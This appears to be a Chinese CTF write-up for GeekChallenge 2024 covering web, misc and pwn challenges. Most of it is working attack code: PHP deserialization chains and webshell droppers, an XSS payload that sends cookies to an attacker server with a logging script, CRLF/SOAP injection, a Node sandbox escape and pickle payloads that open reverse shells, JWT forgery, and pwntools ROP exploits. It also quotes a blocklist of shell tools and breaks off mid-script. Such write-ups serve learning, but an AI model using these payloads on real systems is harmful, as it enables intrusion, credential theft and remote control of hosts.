极客大挑战2024wp
web 和misc 都没咋做出来,全靠pwn✌带飞
排名
密码学和re没做出几个,就不发了
web
ez_pop
源代码
<?php
Class SYC{public $starven;public function __call($name, $arguments){if(preg_match('/%|iconv|UCS|UTF|rot|quoted|base|zlib|zip|read/i',$this->starven)){die('no hack');}file_put_contents($this->starven,"<?php exit();".$this->starven);}
}Class lover{public $J1rry;public $meimeng;public function __destruct(){if(isset($this->J1rry)&&file_get_contents($this->J1rry)=='Welcome GeekChallenge 2024'){echo "success";$this->meimeng->source;}}public function __invoke(){echo $this->meimeng;}}Class Geek{public $GSBP;public function __get($name){$Challenge = $this->GSBP;return $Challenge();}public function __toString(){$this->GSBP->Getflag();return "Just do it";}}if($_GET['data']){if(preg_match("/meimeng/i",$_GET['data'])){die("no hack");}unserialize($_GET['data']);
}else{highlight_file(__FILE__);
}
pop 链子
lover::__destruct ->Geek::__get ->lover::__invoke ->Geek::toString ->SYC::__call
为了使链子正常运行,需要 把$lover->J1rry="data://text/plain,Welcome GeekChallenge 2024";
用伪协议控制file_get_contents的内容,对于meimong的初步过滤,用16进制绕过即可
然后是死亡exit的绕过,由于黑名单过滤的很全,这里就尝试strip_tags
写入htaccess,预包含,flag文件名也给了 就是flag相关文章:https://xz.aliyun.com/t/8163
exp
<?php
Class SYC{public $starven;}Class lover{public $J1rry;public $meimeng;public function __construct(){$this->J1rry="data://text/plain,Welcome GeekChallenge 2024";}
}Class Geek{public $GSBP;
}$a=new lover();
$a->meimeng=new Geek();
$a->meimeng->GSBP=new lover();
$a->meimeng->GSBP->meimeng=new Geek();
$a->meimeng->GSBP->meimeng->GSBP=new SYC();
$a->meimeng->GSBP->meimeng->GSBP->starven="php://filter/write=string.strip_tags/?>php_value auto_prepend_file /flag\n#/resource=.htaccess";
$exp=str_replace('s:7:"meimeng"','S:7:"\6d\65\69\6d\65\6e\67"',serialize($a));
echo urlencode($exp);
echo "\n";
发送一次写入,再刷新一次包含就可以看见flag
problem_on_my_web
访问/manager,提示要我传一个post参数url,然后give gift on cookie,感觉就是要打xss偷cookie
发送消息的地方填
<script>
img = new Image();
img.src='http:/ip/cookie.php?cookie='+document.cookie;
img.width = 0;
img.height = 0;
</script>
vps上放一个cookie.php
<?php
$cookie = $_GET['cookie'];
$ip = getenv('REMOTE_ADDR');
$time = date('Y-m-d g:i:s');
$referer = getenv('HTTP_REFERER');
$fp = fopen( 'cookie.txt', 'a');
fwrite($fp,"IP: ".$ip." │ Date And Time: ".$time." | Referer: ".$referer." | Cookie: ".$cookie.'|||');
fclose($fp);
?>
发送了上面的xss信息后,在manager路由传http://127.0.0.1即可,过一会即可在cookie.txt里看到flag
ez_http
根据要求一个个添加参数和http头即可
import requestsurl="http://80-ede138cf-40a4-4102-a7eb-cc54a3144be8.challenge.ctfplus.cn/?welcome=geekchallenge2024"
cookies={ 'token':'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJTdGFydmVuIiwiYXVkIjoiQ3RmZXIiLCJpYXQiOjE3MzAwMTI2MzEsIm5iZiI6MTczMDAxMjYzMSwiZXhwIjoxNzMwMDE5ODMxLCJ1c2VybmFtZSI6IlN0YXJ2ZW4iLCJwYXNzd29yZCI6InF3ZXJ0MTIzNDU2IiwiaGFzRmxhZyI6dHJ1ZX0.rndv-ew4zbtQJZXgR_Quqa-xR-E6p1WXindKnLKbO4k'}
header={'X-Real-IP':'127.0.0.1','Referer':'https://www.sycsec.com','STARVEN':'I_Want_Flag',}
data={'username':'Starven','password':'qwert123456'}res=requests.post(url=url,data=data,headers=header,cookies=cookies)
print(res.text)
Can you pass me
ssti 绕过,{%%}绕{{, attr绕[],关键词的过滤全用八进制编码,然后发现不能直接查看flag,用base64 /flag带出来
{%print(lipsum|attr('\137\137\147\154\157\142\141\154\163\137\137')|attr('\137\137\147\145\164\151\164\145\155\137\137')('\157\163')|attr('\160\157\160\145\156')('\142\141\163\145\066\064\040\057\146\154\141\147')|attr('\162\145\141\144')())%}
ez_ssrf
www.zip泄露源码
h4d33333.php
<?php
error_reporting(0);
if(!isset($_POST['user'])){$user="stranger";
}else{$user=$_POST['user'];
}if (isset($_GET['location'])) {$location=$_GET['location'];$client=new SoapClient(null,array("location"=>$location,"uri"=>"hahaha","login"=>"guest","password"=>"gueeeeest!!!!","user_agent"=>$user."'s Chrome"));$client->calculator();echo file_get_contents("result");
}else{echo "Please give me a location";
}
calculator.php
<?php
$admin="aaaaaaaaaaaadmin";
$adminpass="i_want_to_getI00_inMyT3st";function check($auth) {global $admin,$adminpass;$auth = str_replace('Basic ', '', $auth);$auth = base64_decode($auth);list($username, $password) = explode(':', $auth);echo $username."<br>".$password;if($username===$admin && $password===$adminpass) {return 1;}else{return 2;}
}
if($_SERVER['REMOTE_ADDR']!=="127.0.0.1"){exit("Hacker");
}
$expression = $_POST['expression'];
$auth=$_SERVER['HTTP_AUTHORIZATION'];
if(isset($auth)){if (check($auth)===2) {if(!preg_match('/^[0-9+\-*\/]+$/', $expression)) {die("Invalid expression");}else{$result=eval("return $expression;");file_put_contents("result",$result);}}else{$result=eval("return $expression;");file_put_contents("result",$result);}
}else{exit("Hacker");
}
calculator.php 需要本地访问,h4d33333.php的SOAPcilient 对象可以触发__call
去访问,文件头信息可控造成CRLF注入,http头部的信息和请求参数都可以控制,控制一下认证信息满足要求,即可绕过白名单执行eval
crlf exp
from urllib.parse import quote
payload="expression=system('cat /flag');&a="
print(quote(f"""test\r\nAUTHORIZATION:Basic YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N01\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: {len(payload)}\r\n\r\n{payload}"""))
然后发送了但是返回的东西看不了,还是直接访问/result得到的flag
not_just_pop
源码
<?php
highlight_file(__FILE__);
ini_get('open_basedir');class lhRaMK7{public $Do;public $You;public $love;public $web;public function __invoke(){echo "我勒个豆,看来你有点实力,那接下来该怎么拿到flag呢?"."<br>";eval($this->web);}public function __wakeup(){$this->web=$this->love;}public function __destruct(){die($this->You->execurise=$this->Do);}}class Parar{private $execurise;public $lead;public $hansome;public function __set($name,$value){echo $this->lead;}public function __get($args){if(is_readable("/flag")){echo file_get_contents("/flag");}else{echo "还想直接读flag,洗洗睡吧,rce去"."<br>";if ($this->execurise=="man!") {echo "居然没坠机"."<br>";if(isset($this->hansome->lover)){phpinfo();}}else{echo($this->execurise);echo "你也想被肘吗"."<br>";}}}
}class Starven{public $girl;public $friend;public function __toString(){return "试试所想的呗,说不定成功了"."<br>".$this->girl->abc;}public function __call($args1,$args2){$func=$this->friend;$func();}}
class SYC{private $lover;public $forever;public function __isset($args){return $this->forever->nononon();}}$Syclover=$_GET['Syclover'];
if (isset($Syclover)) {unserialize(base64_decode($Syclover));throw new Exception("None");
}else{echo("怎么不给我呢,是不喜欢吗?");
}
稍微复杂了一点的pop
lhRaMK7::__destruct -> Parar::__set -> Starven::__toString -> Parar::__get ->SYC::__isset ->Starven::__call ->lhRaMK7::__invoke
从代码中就可以看出来,flag无法直接读取,感觉要提权,为了顺利反序列化,还要删掉最后的}触发fast-desruct绕过异常,题目php版本还是7.2,直接全部属性改为public
到eval的时候,发现system用不了,phpinfo发现有disable_function,写个马,然后蚁剑插件绕过,exp
<?php
// highlight_file(__FILE__);
// ini_get('open_basedir');class lhRaMK7{public $Do;public $You;public $love;public $web;public function __construct(){$this->You=new Parar();}}class Parar{public $execurise;public $lead;public $hansome;public function __construct(){$this->lead=new Starven();}
}class Starven{public $girl;public $friend;
}
class SYC{public $lover;public $forever;}$a=new lhRaMK7();
$a->You=new Parar();
$a->You->lead=new Starven();
$a->You->lead->girl= new Parar();
$a->You->lead->girl->execurise='man!';
$a->You->lead->girl->hansome=new SYC();
$a->You->lead->girl->hansome->forever=new Starven();
$a->You->lead->girl->hansome->forever->friend=new lhRaMK7();
// $a->You->lead->girl->hansome->forever->friend->love='phpinfo();';
$a->You->lead->girl->hansome->forever->friend->love='$a="PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4=";file_put_contents("shell.php",base64_decode($a));';
$exp=substr(serialize($a),0,-1);
echo base64_encode($exp);
提权,用sudo -l 有env,直接env提权即可
nosanbox
一开始要登陆,提示manggodb,上网就找到了一个nosql注入的payload ,类似mysql的万能密码
{"username":{"$ne":1},"password": {"$ne":1}}
nodejs vm沙箱逃逸,比较简单,网上就有很多文章,不能用引号,于是全用模板字符串,还能绕黑名单
本来的payload是利用报错带出命令结果,这里不回显报错信息,于是 写个 sh,然后反弹shell,exp
一次编码会有+,所以这里编码两次
throw new Proxy({}, {get: function(){const c = arguments.callee.caller;const p = (c.constructor.constructor(`${`return pro${`cess`}`}`))();const obj = p.mainModule.require(`${`child_p${`ro`}cess`}`);const ex = Object.getOwnPropertyDescriptor(obj,`${`${`exe`}cSync`}` );return ex.value(`${`echo WW1GemFDQXRZeUFuWW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4NExqRXpOQzR5TVRVdU1qVXdMekV5TXpRZ01ENG1NU2M9 |base64 -d |base64 -d > 1.sh`}`).toString();}
})
然后sh 1.sh即可
baby_upload
发现上传的文件名可控,一开始尝试s.php/啥的,会报错,后面尝试双写就绕过了 s.php.php
源代码用strstr函数获取后缀,难怪可以
ez_include
require_once绕过 文章:https://www.anquanke.com/post/id/213235
payload
?file=php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/starven_secret.php
然后来到levelllll2.php
<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_GET ["syc"])){$file = $_GET ["syc"];$hint = "register_argc_argv = On";if (preg_match("/config|create|filter|download|phar|log|sess|-c|-d|%|data/i", $file)) {die("hint都给的这么明显了还不会做?");}if(substr($_SERVER['REQUEST_URI'], -4) === '.php'){include $file;}
}
提示很明显了,打pearcmd包含,file变量不会用黑名单里的东西,无伤大雅,payload
?+config-create+/&syc=/usr/local/lib/php/pearcmd.php&/<?=eval($_GET[1]);?>+/var/www/html/shell.php
然后查看flag即可,根目录没有,在/proc/self/environ
php不比java差
源码
<?php
highlight_file(__FILE__);
error_reporting(0);
include "secret.php";class Challenge{public $file;public function Sink(){echo "<br>!!!A GREAT STEP!!!<br>";echo "Is there any file?<br>";if(file_exists($this->file)){global $FLAG;echo $FLAG;}}
}class Geek{public $a;public $b;public function __unserialize(array $data): void{$change=$_GET["change"];$FUNC=$change($data);$FUNC();}
}class Syclover{public $Where;public $IS;public $Starven;public $Girlfriend;public function __toString(){echo "__toString is called<br>";$eee=new $this->Where($this->IS);$fff=$this->Starven;$eee->$fff($this->Girlfriend);}
}unserialize($_POST['data']);
考了好多pop链,这么喜欢pop吗
起点是__unserialize
,$data
里的键值对用来还原对象的属性,$change
可控,使用implode
,一个值设为
Syclover即可触发toString
,然后就卡了一会,再回去看题目发现提到了java,java反序列化常用反射,经过搜索发现这里可以反射调用system,直接看flag看不了,那就写马,发现要用file,suid提权,exp
<?phperror_reporting(0);class Challenge{public $file;
}class Geek{public $a;public $b;}class Syclover{public $Where;public $IS;public $Starven;public $Girlfriend;}
$a=new Geek();
$a->a=new Syclover();
$a->a->Where='ReflectionFunction';
$a->a->IS='system';
$a->a->Starven="invokeArgs";
$a->a->Girlfriend=array("echo '<?=@eval(\$_POST[cmd]);' > /var/www/html/shell.php");
echo urlencode(serialize($a));
ez_python
注册登录后,随便输入了点评论,就提示访问/starven_s3cret
,访问获得源码分析
import os
import secrets
from flask import Flask, request, render_template_string, make_response, render_template, send_file
import pickle
import base64
import blackapp = Flask(__name__)#To Ctfer:给你源码只是给你漏洞点的hint,怎么绕?black.py黑盒,唉无意义
@app.route('/')
def index():return render_template_string(open('templates/index.html').read())@app.route('/register', methods=['GET', 'POST'])
def register():if request.method == 'POST':usname = request.form['username']passwd = request.form['password']if usname and passwd:heart_cookie = secrets.token_hex(32)response = make_response(f"Registered successfully with username: {usname} <br> Now you can go to /login to heal starven's heart")response.set_cookie('heart', heart_cookie)return responsereturn render_template('register.html')@app.route('/login', methods=['GET', 'POST'])
def login():heart_cookie = request.cookies.get('heart')if not heart_cookie:return render_template('warning.html')if request.method == 'POST' and request.cookies.get('heart') == heart_cookie:statement = request.form['statement']try:heal_state = base64.b64decode(statement)print(heal_state)for i in black.blacklist:if i in heal_state:return render_template('waf.html')pickle.loads(heal_state)res = make_response(f"Congratulations! You accomplished the first step of healing Starven's broken heart!")flag = os.getenv("GEEK_FLAG") or os.system("cat /flag")os.system("echo " + flag + " > /flag")return resexcept Exception as e:print( e)passreturn "Error!!!! give you hint: maybe you can view /starven_s3cret"return render_template('login.html')@app.route('/monologue',methods=['GET','POST'])
def joker():return render_template('joker.html')@app.route('/starven_s3cret', methods=['GET', 'POST'])
def secret():return send_file(__file__,as_attachment=True)if __name__ == '__main__':app.run(host='0.0.0.0', port=5000, debug=False)
可以看到在login路由有个反序列化,有个waf不知道,尝试反弹shell 就触发了waf,说要换个思路,那就内存马,用最常用的还不行,笔记里往下翻了几个才找到能用的
payload:
import pickle
import base64
opcode=b'''cbuiltins
exec
(S"app.backup_func=app.view_functions['index'];app.view_functions['index']=lambda : __import__('os').popen(request.args.get('cmd')).read() if 'cmd' in request.args.keys() is not None else app.backup_func()"
tR.'''print(base64.b64encode(opcode).decode())
然后就在根路由传cmd参数命令即可,看了看waf
blacklist = [b'netcat', b'bash', b'var', b'etc', b'socat', b'telnet', b'python', b'perl', b'nc',b'before_request',b'after_request',b'teardown_request',b'teardown',b'context_processor',b'template_filter',b'socket',b'sh',b'mkfifo',b'ncat'b'curl',b'wget',b'php',b'ruby',b'lua',b'java',b'cpp',b'gcc',b'g++',b'connect']
rce_me
考察php的一些性质,按要求传参即可
-
直接post start=start now
-
md5("Geekchallenge2024_bmKtL")
就是经典0e,找一个数字sha1后0e的 -
有个
foreach ($_GET as $key => $value) {$$key = $value;}
明显的变量覆盖,后面的在get传对应参数名
intval漏洞:php<7.2.25时,intval函数不能正常解析字符串形式的科学表达式,会返回底数,传year=1e4,intval(
$year
)解析字符串'1e4'
返回1,过第一个条件,后面的是$num+1
,数字和字符串相加,php会把字符串转为数字再相加,所以这是就会被解析为10000,从而过第二个条件 -
purpose传数组就行,preg_match无法处理数组。最后就可以rce了
payload
?year=1e4&purpose[]=rce&code=system('cat /flag');post: start=start now&_[2024.geekchallenge.ctf=10932435112
jwt_pickle
感觉考点都在web,并没涉及啥密码学知识
漏洞点在jwt的签名和检验的算法不一致,encode是RS256,decode确是RS256和HS256都可以
RS256是非对称加密,HS256是对称加密,我们可以通过工具rsa2sign.py,得到公钥,再写脚本把payload用HS256加密一次,密钥就用得到的公钥(检验时允许HS256)
introduction 有反序列化漏洞,直接反弹shell
脚本
import jwt
import base64
# 修改了源码方可成功 site-packages/jwt/algorithms.py
# 注释掉抛出异常的部分
public ="""-----BEGIN RSA PUBLIC KEY-----
MIIBCgKCAQEAs2aM9wXti4Lm3cBNsJ6edBuKsRaXxW+JHIxDcuVRbAFWt7XLqBMg
NIWLeZ5O6rVkqz1SaD2aEHvyaxZMSN7vXHlgn5keVtTJRbDMl+dzP32F461rGa1K
DSvfac512Rl1Dl+quq5RmZotsjDWV4xEGolgBVJoFv+/M8X/WO+zl9MMF7ZV22Fd
PsFjq4bX7koU3yadPDBRVNcAjuYEy4OybCOlhnt4zeg/NdK6Rxs763iBA5/+ZusR
UAL9KmQ1wV7NDPtUjb3yBwv/3bHR+j6drlW5cc/f6vJxv/xsA5WpgkLDhUCkH8A0
x9dvqeAXvlIFaJXp3Bk01jrqwWwe+oJlpQIDAQAB
-----END RSA PUBLIC KEY-----
"""
opcode=b'''cos
system
(S'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"'
tR.'''
opcode=base64.b64encode(opcode).decode()
payload={"username": "hello",'password':'e10adc3949ba59abbe56e057f20f883e',"is_admin": True,'introduction':opcode}
print(jwt.encode(payload, key=public, algorithm='HS256'))
SecretInDrivingSchool
源码发现后台地址,访问后有提示密码是三位字母+@chenxing,写了个字典就开始爆,爆了半天发现就是SYC
进入后台有个编辑广告的地方,里面是php代码,改为rce的就出了,用编码绕过waf
"\x73\x79\x73\x74\x65\x6d"("\x63\x61\x74\x20\x2f\x66\x6c\x61\x67");
system('cat /flag');
100%的⚪
看js代码就有了,base64解码
Misc
签到
关注公众号,发送得flag
Truth of Word
附件是一个word文档,
全选 然后字体变红就能看到第一段flag,
复制一份后缀改为zip解压,发现有个bin文件,是宏,返回docx查看宏得到第二段flag
查看解压出来的压缩包中的media文件夹,在一张图片中发现第三段flag
SYC{W0rd_H@5@_Ama1n9_StrUCtu3e!}
Welcome_jail
懒得思考了,直接走继承链,用chr绕过引号的过滤
[i for i in [].__class__.__mro__[-1].__subclasses__() if i.__name__ == (chr(95)+chr(119)+chr(114)+chr(97)+chr(112)+chr(95)+chr(99)+chr(108)+chr(111)+chr(115)+chr(101))][0].__init__.__globals__[chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)](chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(104)+chr(111)+chr(109)+chr(101)+chr(47)+chr(99)+chr(116)+chr(102)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103))
cimbar
上网搜了一下i,cimbar是用摄像头来传文件的一种技术,然后找到了各个字符对应的4位二进制的对应关系图,https://aigcdaily.cn/news/b24u20oz8s9djnd/
一个个对着翻译即可,然后二进制转ascii就行
舔狗的觉醒
附件解压是个txt,里面一串16进制,开头05 b4 30,一看就是两两逆序,写个脚本
with open('byte-revenge.txt','r') as file:f=file.read().replace(' ','').replace("\n","")reversed_pairs = ''.join([f[i:i+2][::-1] for i in range(0, len(f), 2)])bin_data=bytes.fromhex(reversed_pairs)with open('a.zip','wb') as f:f.write(bin_data)
解压得到的压缩包,有个flag.pdf,提示
感觉是图片的嵌套,上网找了网站https://pdfcandy.com/来提取pdf所有图片,就有了flag
dosomemath
给了源码,那个算式本地跑一下是9872,但是不能用数字,看那个白名单就知道要用一些魔术方法来表示数字,
打开vscode,输入().__
对着自动补全出的魔术方法一个个看,就可以看到__ge__
,尝试了一下,就发现
().__ge__(())+().__ge__(())=2
就可以通过().__ge__(())
来构造任意数字,9872分解为((16)*(((20)*(30))+(17)))
=,一个个+肯定会太长的
payload
payload="().__ge__(())"def get_payload(num):tmp=[payload]*numres='+'.join(tmp)return res
#(16)*(((20)*(30))+(17))
target=f'({get_payload(16)})*((({get_payload(20)})*({get_payload(30)}))+({get_payload(17)}))'
print(target)
print(eval(target))
ez_jpg
给了个txt,一串很长的16进制,翻到最后是8DFF,明显是jpg的文件头逆序,找ai写个脚本逆序下就行
得到一个有点乱的图片,然后修改宽高就能看到一点flag,用ps修一下更好看,但是发现也可以直接看
ez_pcap_1
直接在smb2流量中,找找就行,在最后的那个读取文件的流量就有,太菜了2做不出来
雪
解压附件得到图片和white.txt,图片名字提到watermarkh,就是盲水印,用工具提取到Th1si4st8eK3y
根据题目名另一个snow隐写,密钥就是Th1si4st8eK3y
SYC{Ma1by_y0u_w1ll_l1k3_sn0w}
hard_jail
show看了看源码,这个waf,预期解感觉是要走内置函数的装饰器,但是不咋会,看到是white true 输入的,直接尝试输入black=[]之后,waf就没了,就可以直接命令执行了
乌龟
一听就感觉是无线电,sstv解出来的图片上有密码,deepsound用这个密码就解出了奇怪的东西,问gpt说是logo语言的绘图指令,找个网站把图画出来就有了flag
PWN
买黑吗喽了吗
View里很明显有一个写str1的操作,然后就在思考怎么办让Balance大于0x100,但是实际上并不难,新手随便买买都能触发(看不看得出来另说),触发后就能够泄漏程序基地址,而后就可以正常ROP
from pwn import *io = process("./syscall")\# io = remote("nc1.ctfplus.cn", 31851)context.terminal = ['tmux', 'new-window']context.log_level = 'debug'context.arch = 'amd64'elf = ELF("./syscall")libc = elf.libcfor i in range(8):io.recv()io.sendline(b'1')io.recv()io.sendline(b'1')for i in range(6):io.recv()io.sendline(b'1')io.recv()io.sendline(b'2')\# gdb.attach(io)io.recv()io.sendline(b'2')\# io.sendline(b'2')io.send(b'%p')\# io.sendline(b'2')io.recvuntil(b'There are 8 commodity_1 and 6 commodity_2 in your pocket.\nAnd your Balance : 0x')elfbase = int(io.recv(14), 16) - 0x4090log.info("elfbase: 0x%x" % elfbase)pop_rdi = elfbase + 0x00000000000011f1log.info("pop_rdi: 0x%x" % pop_rdi)ret = elfbase + 0x000000000000101alog.info("ret: 0x%x" % ret)io.sendline(b'3')io.recvuntil(b'Tell me your feedback:')payload = b'A'*0x58 + p64(pop_rdi) + p64(elfbase + elf.got['puts']) + p64(elfbase + elf.plt['puts']) + p64(elfbase + elf.sym['main'])io.sendline(payload)io.recvuntil(b'Thanks for your feedback!We`ll do it better!\n')puts_addr = u64(io.recv(6).ljust(8, b'\x00'))log.info("puts_addr: 0x%x" % puts_addr)libcbase = puts_addr - libc.sym['puts']log.info("libcbase: 0x%x" % libcbase)system_addr = libcbase + libc.sym['system']log.info("system_addr: 0x%x" % system_addr)str_bin_sh = libcbase + next(libc.search(b'/bin/sh'))log.info("str_bin_sh: 0x%x" % str_bin_sh)io.sendline(b'3')io.recvuntil(b'Tell me your feedback:')payload = b'A'*0x58 + p64(ret) + p64(pop_rdi) + p64(str_bin_sh) + p64(system_addr)gdb.attach(io)io.sendline(payload)io.interactive()
00000
之前打另一个比赛刚遇见过打/dev/urandom里的所谓真随机,确实是不能爆破,Geek没有给爆破机会,算得上对新手友好,直接一直给\x00,就可以有机率过strcmp,然后直接看flag
from pwn import *\# io = process("./main")\# io = remote("nc1.ctfplus.cn", 27071)context.terminal = ['tmux', 'new-window']context.log_level = 'debug'context.arch = 'amd64'while True:\# io = process("./main")io = remote("nc1.ctfplus.cn", 41863)io.recv()io.recv()try:io.sendline(b'\x00')take = io.recv(timeout=1)if b'The password is wrong and you cannot access the secret files' not in take:io.interactive()else:io.close()continueexcept:io.interactive()
over_flow??
蛮有意思,如果对照一下save_to_file和read_from_file再加一点调试就会发现实际上rdi会变成我们给的参数,而read_from_file多溢出的一位会成为rax,而后会调用syscall,所以控参数和系统调用直接写在一个payload就行了(来自一个看到溢出发现就报错的敏感,差点觉得又是啥没学过的新东西要补[大哭])
from pwn import *\# io = process(['./ld-2.??.so','./'], env = {'LD_PRELOAD' : './libc-2.??.so'})io = process("./over_data")\# io = remote('nc1.ctfplus.cn', 33092)elf = ELF("./over_data")\# libc = ELF("./libc-2.??.so")libc = elf.libccontext(arch = 'amd64', os='linux', terminal=['tmux', 'new-window'])context.log_level = 'debug'dbg = lambda: (gdb.attach(io),pause())lg = lambda n,s: log.info('\033[1;1;20m%s: 0x%x <--\033[0m\033[1;3;20m %s \033[0m' % (str(n), eval(str(s)), s))io.recvuntil(b'please input your choice\n')io.sendline(b'2')io.recvuntil(b'please input file name')gdb.attach(io)io.send(b'/bin/sh\x00\x3b')io.interactive()
Black_Myth_Wukong
snprintf把格式化丢脸上了,直接泄漏
然后试过直接正常用system rop,但是很可惜调试会发现偏移不确定,懒得调试,直接让one_gadget填满了
from pwn import *\# io = process("./main")io = remote("nc1.ctfplus.cn", 29311)elf = ELF("./main")libc = elf.libccontext.terminal = ['tmux','new-window']context.log_level = 'debug'io.recvuntil(b'Please enter any key to enter the game...')\# io.send(b'KKKKK')io.sendline()\# gdb.attach(io)io.recvuntil(b'>>')io.sendline(b'31')io.recvuntil(b'You defeated Guangzhi, and you obtained Guangzhi\'s weapon. Please accept it: ')libc_start_main = int(io.recv(12), 16) - 231log.info("libc_start_main: " + hex(libc_start_main))libcbase = libc_start_main - libc.symbols['__libc_start_main']log.info("libcbase: " + hex(libcbase))system = libcbase + libc.symbols['system']log.info("system: " + hex(system))str_bin_sh = libcbase + next(libc.search(b'/bin/sh'))log.info("str_bin_sh: " + hex(str_bin_sh))pop_rdi = libcbase + 0x000000000002164flog.info("pop_rdi: " + hex(pop_rdi))ret = libcbase + 0x00000000000008aalog.info("ret: " + hex(ret))onegadget = libcbase + 0x4f29elog.info("onegadget: " + hex(onegadget))\# gdb.attach(io)\# payload = b'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaab'\# payload = b'A'*0xd8 + p64(ret) + p64(pop_rdi) + p64(str_bin_sh) + p64(system)payload = p64(onegadget)*2*16print(hex(len(payload)))io.recvuntil(b'>>')io.sendline(str(len(payload)).encode())\# payload = payload.ljust(256, b'A')io.sendline(payload)io.interactive()
我的空调呢?
第一反应还以为这个菜单是个堆题,甚至堆题的模板都写好了。。。
然后才发现连malloc和free都没有,想着这下完了,又要搓好久哪的指针残留,直接用完泄漏就想着肯定得看看程序具体指针了
结果代码太乱了,懒得逆向,直接一顿调试,发现分配的时候没有负数检查,再一看上面的got表,直接心领神会,直接写memset为system,在delete里memset一个/bin/sh的块就行了
from pwn import *\# io = process(['./ld-2.??.so','./'], env = {'LD_PRELOAD' : './libc-2.??.so'})\# io = process("./pwn")io = remote('nc1.ctfplus.cn', 34033)elf = ELF("./pwn")\# libc = ELF("./libc-2.??.so")libc = elf.libccontext(arch = 'amd64', os='linux', terminal=['tmux', 'new-window'])context.log_level = 'debug'dbg = lambda: (gdb.attach(io),pause())lg = lambda n,s: log.info('\033[1;1;20m%s: 0x%x <--\033[0m\033[1;3;20m %s \033[0m' % (str(n), eval(str(s)), s))def choose(choice):io.sendlineafter(b'<Your chioce>:', str(choice).encode())def alloc(beforecontent, aftercontent):\# def alloc(content):choose(1)\# io.sendlineafter(b'', str(id).encode())\# io.sendlineafter(b'', str(size).encode())\# io.sendlineafter(b'', str(len(content)).encode())io.sendafter(b'Your name:', beforecontent)io.sendafter(b'Introduce:', aftercontent)def delete(id):choose(3)io.sendlineafter(b'Index:', str(id).encode())def edit(id, content):choose(4)io.sendlineafter(b'Index:', str(id).encode())io.sendafter(b'message:', content)def show(id):choose(2)io.sendlineafter(b'Index:', str(id).encode())choose(5)io.recvuntil(b'Please input an address.(such as 0xffff)')\# gdb.attach(io)io.sendline(b'0x404018')io.recvuntil(b'massege:')puts_addr = u64(io.recv(6).ljust(8, b'\x00'))lg('puts_addr', puts_addr)libcbase = puts_addr - libc.symbols['puts']lg('libcbase', libcbase)system = libcbase + libc.symbols['system']lg('system', system)str_bin_sh = libcbase + next(libc.search(b'/bin/sh'))lg('str_bin_sh', str_bin_sh)set_buf = libcbase + libc.symbols['setbuf']lg('set_buf', set_buf)printf = libcbase + libc.symbols['printf']lg('printf', printf)memset = libcbase + libc.symbols['memset']lg('memset', memset)read = libcbase + libc.symbols['read']lg('read', read)\# for i in range(0x10):\# alloc(str(i).encode(), str(i).encode())alloc(b'/bin/sh\x00', b'0')alloc(b'1', b'1')\# gdb.attach(io, 'b *0x4017e8')edit(-4, p64(set_buf) + p64(printf) + p64(system))delete(0)io.interactive()\# dbg()
FindG???t
有了over_flow???的经验,加上之前就听过可以在libc_start_main附近找0x0f05当syscall的手法,就直接加了个爆破,甚至懒得问ai,写了个0x00~0xff遍历[捂脸]
from pwn import *\# io = process("./pwn")elf = ELF("./pwn")libc = elf.libccontext.terminal = ["tmux", "new-window"]context.log_level = "debug"\# gdb.attach(io)bytes_for = [b'\x00', b'\x01', b'\x02', b'\x03', b'\x04', b'\x05', b'\x06', b'\x07', b'\x08', b'\x09', b'\x0a', b'\x0b', b'\x0c', b'\x0d', b'\x0e', b'\x0f', b'\x10', b'\x11', b'\x12', b'\x13', b'\x14', b'\x15', b'\x16', b'\x17', b'\x18', b'\x19', b'\x1a', b'\x1b', b'\x1c', b'\x1d', b'\x1e', b'\x1f', b'\x20', b'\x21', b'\x22', b'\x23', b'\x24', b'\x25', b'\x26', b'\x27', b'\x28', b'\x29', b'\x2a', b'\x2b', b'\x2c', b'\x2d', b'\x2e', b'\x2f', b'\x30', b'\x31', b'\x32', b'\x33', b'\x34', b'\x35', b'\x36', b'\x37', b'\x38', b'\x39', b'\x3a', b'\x3b', b'\x3c', b'\x3d', b'\x3e', b'\x3f', b'\x40', b'\x41', b'\x42', b'\x43', b'\x44', b'\x45', b'\x46', b'\x47', b'\x48', b'\x49', b'\x4a', b'\x4b', b'\x4c', b'\x4d', b'\x4e', b'\x4f', b'\x50', b'\x51', b'\x52', b'\x53', b'\x54', b'\x55', b'\x56', b'\x57', b'\x58', b'\x59', b'\x5a', b'\x5b', b'\x5c', b'\x5d', b'\x5e', b'\x5f', b'\x60', b'\x61', b'\x62', b'\x63', b'\x64', b'\x65', b'\x66', b'\x67', b'\x68', b'\x69', b'\x6a', b'\x6b', b'\x6c', b'\x6d', b'\x6e', b'\x6f', b'\x70', b'\x71', b'\x72', b'\x73', b'\x74', b'\x75', b'\x76', b'\x77', b'\x78', b'\x79', b'\x7a', b'\x7b', b'\x7c', b'\x7d', b'\x7e', b'\x7f', b'\x80', b'\x81', b'\x82', b'\x83', b'\x84', b'\x85', b'\x86', b'\x87', b'\x88', b'\x89', b'\x8a', b'\x8b', b'\x8c', b'\x8d', b'\x8e', b'\x8f', b'\x90', b'\x91', b'\x92', b'\x93', b'\x94', b'\x95', b'\x96', b'\x97', b'\x98', b'\x99', b'\x9a', b'\x9b', 